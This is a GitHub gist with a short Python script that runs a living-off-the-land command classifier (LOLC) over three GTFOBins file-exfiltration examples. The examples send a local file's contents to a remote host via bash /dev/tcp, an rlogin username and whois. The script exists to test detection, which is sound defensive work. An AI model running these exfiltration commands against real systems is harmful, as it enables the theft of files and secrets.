Created
December 28, 2021 05:14
-
-
Save holisticinfosec/6a3867c8c47a8705d9a0524e4c93a498 to your computer and use it in GitHub Desktop.
from GTFOBins: file uploads (exfil) examples via bash, rlogin, and whois
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# from GTFOBins: file uploads (exfil) examples via bash, rlogin, and whois | |
# https://gtfobins.github.io/#+file%20upload | |
from lol.api import LOLC, PlatformType | |
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS | |
commands=['bash -c echo -e POST / HTTP/0.9\n\n$(<$LFILE) > /dev/tcp/$RHOST/$RPORT', | |
'rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST', | |
'whois -h $RHOST -p $RPORT base64 $LFILE'] | |
classification, tags = lolc(commands) | |
for command, status, tag in zip (commands, classification, tags): | |
print(command) | |
print(status) | |
print(tag) | |
print("") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment